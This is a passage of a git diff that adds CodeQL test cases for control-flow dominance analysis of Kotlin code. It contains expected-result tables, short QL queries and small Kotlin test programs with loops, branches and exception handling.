+| Test.kt:105:9:107:5 | ... -> ... | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:105:9:107:5 | ... -> ... | Test.kt:108:9:108:29 | <Expr>; |
+| Test.kt:105:20:107:5 | { ... } | Test.kt:106:9:106:29 | <Expr>; |
+| Test.kt:107:16:109:5 | ... -> ... | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:107:16:109:5 | ... -> ... | Test.kt:108:9:108:29 | <Expr>; |
+| Test.kt:107:27:109:5 | { ... } | Test.kt:108:9:108:29 | <Expr>; |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:5:115:5 | ... -> ... |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:5:115:5 | <Expr>; |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:113:5:115:5 | ... -> ... | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:113:5:115:5 | <Expr>; | Test.kt:113:5:115:5 | ... -> ... |
+| Test.kt:113:5:115:5 | <Expr>; | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:119:2:123:12 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:120:3:123:10 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:121:4:121:9 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:122:12:122:16 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:120:3:123:10 | ... -> ... |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:121:4:121:9 | ... -> ... |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:122:12:122:16 | <Expr>; |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:121:4:121:9 | ... -> ... |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:122:12:122:16 | <Expr>; |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:122:12:122:16 | <Expr>; |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:122:12:122:16 | ... -> ... | Test.kt:122:12:122:16 | <Expr>; |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.ql
new file mode 100644
index 00000000000..2d366a4f372
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/strictDominance.ql
@@ -0,0 +1,6 @@
+import default
+import semmle.code.java.controlflow.Dominance
+
+from Stmt pre, Stmt post
+where strictlyDominates(pre, post)
+select pre, post
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.expected
new file mode 100644
index 00000000000..0d87011ddaf
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.expected
@@ -0,0 +1,227 @@
+| Test.kt:3:1:80:1 | super(...) | Test.kt:3:1:80:1 | { ... } |
+| Test.kt:3:8:80:1 | { ... } | Test.kt:3:1:80:1 | super(...) |
+| Test.kt:3:8:80:1 | { ... } | Test.kt:3:1:80:1 | { ... } |
+| Test.kt:5:3:5:16 | var ...; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:6:3:6:18 | var ...; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:7:3:7:16 | var ...; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:8:3:8:16 | var ...; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:11:3:16:3 | <Expr>; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:12:4:12:4 | <Expr>; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:13:4:13:4 | <Expr>; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:13:4:13:4 | <Expr>; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:14:10:16:3 | { ... } | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:15:4:15:4 | <Expr>; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:15:4:15:4 | <Expr>; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:21:3:24:9 | <Expr>; | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:24:4:24:9 | return ... | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:27:3:27:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:30:3:33:3 | ... -> ... | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:30:3:33:3 | ... -> ... | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:30:3:33:3 | ... -> ... | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:30:3:33:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:30:3:33:3 | <Expr>; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:31:4:31:4 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:32:4:32:4 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:32:4:32:4 | <Expr>; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:38:3:41:3 | while (...) | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:39:4:39:4 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:40:4:40:4 | <Expr>; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:40:4:40:6 | <Expr>; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:40:4:40:6 | var ...; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:6 | var ...; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:40:4:40:6 | var ...; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:40:4:40:6 | var ...; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:40:4:40:6 | { ... } | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:40:4:40:6 | { ... } | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:40:4:40:6 | { ... } | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:73:3:73:3 | <Expr>; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:77:3:77:3 | <Expr>; | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:78:3:78:8 | return ... | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:78:3:78:8 | return ... | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:78:3:78:8 | return ... | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:78:3:78:8 | return ... | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:78:3:78:8 | return ... | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:78:3:78:8 | return ... | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:83:2:88:2 | try ... | Test.kt:82:21:89:1 | { ... } |
+| Test.kt:83:6:86:2 | { ... } | Test.kt:82:21:89:1 | { ... } |
+| Test.kt:83:6:86:2 | { ... } | Test.kt:83:2:88:2 | try ... |
+| Test.kt:84:3:84:18 | var ...; | Test.kt:82:21:89:1 | { ... } |
+| Test.kt:84:3:84:18 | var ...; | Test.kt:83:2:88:2 | try ... |
+| Test.kt:84:3:84:18 | var ...; | Test.kt:83:6:86:2 | { ... } |
+| Test.kt:86:34:88:2 | { ... } | Test.kt:86:4:88:2 | catch (...) |
+| Test.kt:87:3:87:10 | return ... | Test.kt:86:4:88:2 | catch (...) |
+| Test.kt:87:3:87:10 | return ... | Test.kt:86:34:88:2 | { ... } |
+| Test.kt:92:2:97:2 | try ... | Test.kt:91:22:98:1 | { ... } |
+| Test.kt:92:6:95:2 | { ... } | Test.kt:91:22:98:1 | { ... } |
+| Test.kt:92:6:95:2 | { ... } | Test.kt:92:2:97:2 | try ... |
+| Test.kt:93:3:93:13 | var ...; | Test.kt:91:22:98:1 | { ... } |
+| Test.kt:93:3:93:13 | var ...; | Test.kt:92:2:97:2 | try ... |
+| Test.kt:93:3:93:13 | var ...; | Test.kt:92:6:95:2 | { ... } |
+| Test.kt:95:36:97:2 | { ... } | Test.kt:95:4:97:2 | catch (...) |
+| Test.kt:96:3:96:10 | return ... | Test.kt:95:4:97:2 | catch (...) |
+| Test.kt:96:3:96:10 | return ... | Test.kt:95:36:97:2 | { ... } |
+| Test.kt:101:5:103:5 | ... -> ... | Test.kt:100:25:110:1 | { ... } |
+| Test.kt:101:5:103:5 | ... -> ... | Test.kt:101:5:103:5 | <Expr>; |
+| Test.kt:101:5:103:5 | <Expr>; | Test.kt:100:25:110:1 | { ... } |
+| Test.kt:102:9:102:25 | throw ... | Test.kt:101:33:103:5 | { ... } |
+| Test.kt:105:9:107:5 | ... -> ... | Test.kt:105:5:109:5 | <Expr>; |
+| Test.kt:106:9:106:29 | <Expr>; | Test.kt:105:20:107:5 | { ... } |
+| Test.kt:108:9:108:29 | <Expr>; | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:113:5:115:5 | ... -> ... | Test.kt:112:32:116:1 | { ... } |
+| Test.kt:113:5:115:5 | ... -> ... | Test.kt:113:5:115:5 | <Expr>; |
+| Test.kt:113:5:115:5 | <Expr>; | Test.kt:112:32:116:1 | { ... } |
+| Test.kt:119:2:123:12 | <Expr>; | Test.kt:118:37:124:1 | { ... } |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:118:37:124:1 | { ... } |
+| Test.kt:120:3:123:10 | ... -> ... | Test.kt:119:2:123:12 | <Expr>; |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:118:37:124:1 | { ... } |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:119:2:123:12 | <Expr>; |
+| Test.kt:121:4:121:9 | ... -> ... | Test.kt:120:3:123:10 | ... -> ... |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:118:37:124:1 | { ... } |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:119:2:123:12 | <Expr>; |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:120:3:123:10 | ... -> ... |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:121:4:121:9 | ... -> ... |
+| Test.kt:122:12:122:16 | <Expr>; | Test.kt:122:12:122:16 | ... -> ... |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.ql
new file mode 100644
index 00000000000..9948718fc83
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/strictPostDominance.ql
@@ -0,0 +1,6 @@
+import default
+import semmle.code.java.controlflow.Dominance
+
+from Stmt pre, Stmt post
+where strictlyPostDominates(post, pre)
+select post, pre
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/Test.kt b/java/ql/test/kotlin/library-tests/controlflow/dominance/Test.kt
new file mode 100644
index 00000000000..eb81a6462cb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/Test.kt
@@ -0,0 +1,100 @@
+class Test {
+	fun test(px: Int, pw: Int, pz: Int): Int {
+        var x = px
+        var w = pw
+        var z = pz
+
+		var j: Int
+		var y: Long = 50
+
+		// if-else, multiple statements in block
+		if (x > 0) {
+			y = 20
+			z = 10
+		} else {
+			y = 30
+		}
+
+		z = (x + y) as Int
+
+		// if-else with return in one branch
+		if (x < 0)
+			y = 40
+		else
+			return z
+
+		// this is not the start of a BB due to the return
+		z = 10
+
+		// single-branch if-else
+		if (x == 0) {
+			y = 60
+			z = 10
+		}
+
+		z += x
+
+		// while loop
+		while (x > 0) {
+			y = 10
+			x--
+		}
+
+		z += y as Int
+
+/*
+TODO
+		// for loop
+		for (j = 0; j < 10; j++) {
+			y = 0;
+			w = 10;
+		}
+
+		z += w;
+
+		// nested control flow
+		for (j = 0; j < 10; j++) {
+			y = 30;
+			if (z > 0)
+				if (y > 0) {
+					w = 0;
+					break;
+				} else {
+					w = 20;
+				}
+			else {
+				w = 10;
+				continue;
+			}
+			x = 0;
+		}
+*/
+
+		z += x + y + w
+
+		// nested control-flow
+
+		w = 40
+		return w
+	}
+
+	fun test2(a: Int): Int {
+		/* Some more complex flow control */
+		var b: Int
+		var c: Int
+		c = 0
+		while(true) {
+			b = 10
+			if (a > 100) {
+				c = 10
+				b = c
+			}
+			if (a == 10)
+				break
+			if (a == 20)
+				return c
+		}
+		return b
+	}
+
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/Test2.kt b/java/ql/test/kotlin/library-tests/controlflow/dominance/Test2.kt
new file mode 100644
index 00000000000..de0ade9e785
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/Test2.kt
@@ -0,0 +1,37 @@
+import java.math.*
+
+class MyExn: Throwable() {}
+
+public class Test2 {
+    @Throws(Throwable::class)
+	fun f() {}
+
+    @Throws(Throwable::class)
+	fun g(b: Boolean) {
+		while (b) {
+			if (b) {
+			} else {
+				try {
+					f()
+				} catch (e: MyExn) {}
+				;
+			}
+		}
+	}
+	
+	fun t(x: Int) {
+		if (x < 0) {
+			return
+		}
+        var y = x
+		while(y >= 0) {
+			if (y > 10) {
+				try {
+					val n: BigInteger = BigInteger( "wrong" );
+				} catch (e: NumberFormatException) { // unchecked exception
+				}
+			}
+			y--
+		}
+	}
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceBad.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceBad.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceBad.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceBad.ql
new file mode 100644
index 00000000000..26d33d9d07b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceBad.ql
@@ -0,0 +1,9 @@
+import java
+import semmle.code.java.controlflow.Dominance
+
+from IfStmt i, BlockStmt b
+where
+  b = i.getThen() and
+  dominates(i.getThen(), b) and
+  dominates(i.getElse(), b)
+select i, b
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceWrong.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceWrong.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceWrong.ql b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceWrong.ql
new file mode 100644
index 00000000000..298e0752ee4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominanceWrong.ql
@@ -0,0 +1,21 @@
+import java
+import semmle.code.java.controlflow.Dominance
+
+/**
+ * Represents a path from `entry` to `node` that doesn't go through `dom`. If
+ * `entry` is the entry node for the CFG then this shows that `dom` does not
+ * dominate `node`.
+ */
+predicate dominanceCounterExample(ControlFlowNode entry, ControlFlowNode dom, ControlFlowNode node) {
+  node = entry
+  or
+  exists(ControlFlowNode mid |
+    dominanceCounterExample(entry, dom, mid) and mid != dom and mid.getASuccessor() = node
+  )
+}
+
+from Callable c, ControlFlowNode dom, ControlFlowNode node
+where
+  (strictlyDominates(dom, node) or bbStrictlyDominates(dom, node)) and
+  dominanceCounterExample(c.getBody(), dom, node)
+select c, dom, node
diff --git a/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatedByStart.expected b/java/ql/test/kotlin/library-tests/controlflow/dominance/dominatedByStart.expected
new file mode 100644
index 00000000000..e69de29bb2d
